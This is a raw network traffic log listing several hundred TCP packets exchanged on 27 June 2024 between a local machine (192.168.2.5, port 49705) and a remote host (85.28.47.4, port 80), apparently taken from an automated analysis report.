Jun 27, 2024 19:26:02.138844967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138844013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138844013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138860941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138871908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138878107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138894081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138911009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138911963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138911963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138912916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138926983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138943911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.138947964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138948917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138967037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.138986111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139228106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139241934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139266014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139282942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139282942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139300108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139308929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139317036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139329910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139334917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139350891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139352083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139353991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139374018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139389992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139564991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139645100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139647007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139664888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139678955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139695883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139710903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139712095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139733076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139750004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139776945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139791965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139806986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139822960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139825106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139836073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139844894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139852047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139867067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139868975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139884949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139892101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139893055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139902115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139915943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139918089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139918089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139931917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139949083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.139965057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139988899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.139988899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.140557051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.140573978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.140588999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.140604019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.140615940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.140616894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.140642881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.140664101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.140665054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.140665054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.140703917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.213753939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.218581915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.389698982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.389739037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.389755011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.389792919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.389827967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.389839888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.389856100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.389870882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.389893055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.389900923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.389908075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.389931917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.389933109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.389952898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.389981031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.390064001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.390078068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.390113115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.390136003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.390180111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.390196085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.390209913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.390225887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.390239000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.390271902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.390271902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.390470982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.390486956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.390501976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.390516996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.390518904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.390532970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.390546083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.390546083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.390548944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.390567064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.390573025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.390573025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.390583992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.390594006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.390619040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.390619040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.390831947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.390847921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.390861988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.390877008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.390892029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.390902042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.390933990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.390933990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.391132116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391148090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391163111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391180992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.391189098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391202927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.391204119 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.391205072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391221046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391237020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391237020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.391253948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391254902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.391272068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391279936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.391279936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.391290903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391299963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.391319990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.391340017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.391772032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391786098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391799927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391813993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391829014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391836882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.391844988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391860962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391863108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.391863108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.391875029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391890049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.391891956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391904116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.391908884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391927004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391931057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.391931057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.391947031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391951084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.391971111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.391973019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.391988039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392004013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392008066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.392020941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392030954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.392030954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.392039061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392057896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.392057896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.392076969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.392623901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392638922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392653942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392668009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392683983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392683983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.392699003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392707109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.392715931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392726898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.392733097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392745972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.392750978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392765999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.392765999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392784119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392791033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.392791033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.392800093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392810106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.392817020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392829895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.392832994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392851114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392857075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.392857075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.392867088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392875910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.392885923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.392905951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.392905951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.392929077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.393558025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.393573046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.393588066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.393603086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.393614054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.393618107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.393634081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.393635988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.393649101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.393659115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.393665075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.393676996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.393681049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.393695116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.393697977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.393713951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.393714905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.393732071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.393740892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.393740892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.393748999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.393764973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.393765926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.393765926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.393780947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.393785954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.393796921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.393811941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.393811941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.393812895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.393835068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.393848896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.394509077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.394526005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.394540071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.394553900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.394567966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.394568920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.394586086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.394592047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.394608021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.394612074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.394623995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.394629002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.394639969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.394649982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.394656897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.394668102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.394675016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.394689083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.394689083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.394690990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.394706011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.394721985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.394722939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.394738913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.394747972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.394747972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.394757032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.394773006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.394773960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.394773006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.394793034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.394809008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.395354986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.395371914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.395385981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.395401955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.395409107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.395417929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.395427942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.395442009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.395447969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.395457029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.395469904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.395476103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.395492077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.395498037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.395498037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.395526886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.395526886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.478027105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478085041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478099108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478147030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478162050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478163004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.478178024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478199005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.478233099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.478233099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.478240013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478286028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.478296041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478379965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478425980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.478449106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478465080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478514910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.478569984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478585958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478600025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478615999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478620052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.478641987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.478667974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.478705883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478719950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478734970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478768110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.478768110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.478840113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478867054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478882074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478897095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478912115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478914976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.478928089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:02.478936911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.478956938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.478977919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:02.479120970 CEST	80	49705	85.28.47.4	192.168.2.5
